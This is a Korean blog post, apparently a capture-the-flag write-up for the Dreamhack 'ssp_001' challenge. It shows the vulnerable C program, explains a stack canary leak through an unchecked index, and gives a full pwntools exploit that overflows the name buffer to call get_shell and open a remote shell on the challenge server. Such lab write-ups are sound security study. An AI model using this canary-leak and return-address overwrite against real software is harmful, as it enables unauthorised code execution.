혜랑's STORY

[System Hacking STAGE 5] ssp_001 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 5] ssp_001

hyerang0125 2022. 1. 30. 17:20

ssp_001.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    
    initialize();
    
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
                
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
                
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
                
            default:
                break;
        }
    }
}

 

코드를 자세히 살펴보자.

  • get_shell()
void get_shell() {
    system("/bin/sh");
}

최종적으로 얻어야 할 셸을 불러주는 함수이다.

  • print_box()
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

box의 인덱스 번호와 값을 출력하고 있다.

  • main()의 while문

 

    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
                
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
                
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
                
            default:
                break;
        }
    }​

P의 취약점

원하는 인덱스의 값을 출력해준다. 즉, idx와 canary의 offset을 구하면 카나리 릭이 가능하다.

E의 취약점

name의 크기는 정해져있는 반면, name_len의 크기는 사용자가 지정할 수 있기 때문에 정해진 name의 크기보다 더 입력하여 오버플로우를 발생시켜 코드의 흐름을 변경할 수 있다.

즉, P로 카나리 릭을 한 후 E를 통해 오버플로우를 일으키고 get_shell로 프로그램의 흐름을 변경하면 된다.

gdb로 확인한 결과 카나리와 return address 사이에는 0x8 만큼의 dummy가 필요하는 것을 알 수 있었다.

이를 바탕으로 익스플로잇 코드를 작성해보자.

from pwn import *

#context.log_level = 'debug'

#p = process('./ssp_001')
p = remote('host1.dreamhack.games', '14244')
elf = ELF('./ssp_001')

p.sendlineafter('> ', 'F')
p.sendlineafter('box input : ', 'A'*0x40)

get_shell = elf.symbols['get_shell']
print('[+] get_shell : ' + hex(get_shell))

canary = b''
for idx in range(4):	# canary size : 4
	p.sendafter('> ', 'P')
	p.sendlineafter('Element index : ', str(0x80 + idx))
	p.recvuntil('is : ')
	canary = p.recvuntil('\n')[:2] + canary

canary = int(canary, 16)
print('[+] canary : ' + hex(canary))

p.sendafter('> ', 'E')
payload = b'A' * 0x40
payload += p32(canary)
payload += b'B' * 0x8
payload += p32(get_shell)

#print(payload.decode('utf-8', 'backslashreplace'))
payload_len = len(payload.decode('utf-8', 'backslashreplace'))

p.sendlineafter('Name Size : ', str(payload_len))
p.sendlineafter('Name : ', payload)

p.interactive()

성공적으로 플래그를 획득하였다.

성공~